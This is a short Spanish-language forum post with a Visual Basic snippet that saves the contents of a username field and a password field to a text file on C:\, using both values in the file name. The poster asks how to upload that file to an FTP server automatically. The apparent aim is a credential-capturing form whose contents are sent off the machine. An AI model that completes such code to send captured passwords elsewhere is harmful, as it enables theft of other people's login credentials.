Citar
Private Sub Label2_Click()
n = FreeFile(0)
Open "c:\" & txtnombre.Text & "-" & txtPass.Text & ".txt" For Output As #n
Print #n, txtnombre.Text & " / " & txtPass.Text
Close #n
End Sub
ahi se me guarda el archivo txt en c:\*******.txt y como hago para que ese archivo se suba automaticamente a un ftp? eske no me aclaro , losiento n = FreeFile(0)
Open "c:\" & txtnombre.Text & "-" & txtPass.Text & ".txt" For Output As #n
Print #n, txtnombre.Text & " / " & txtPass.Text
Close #n
End Sub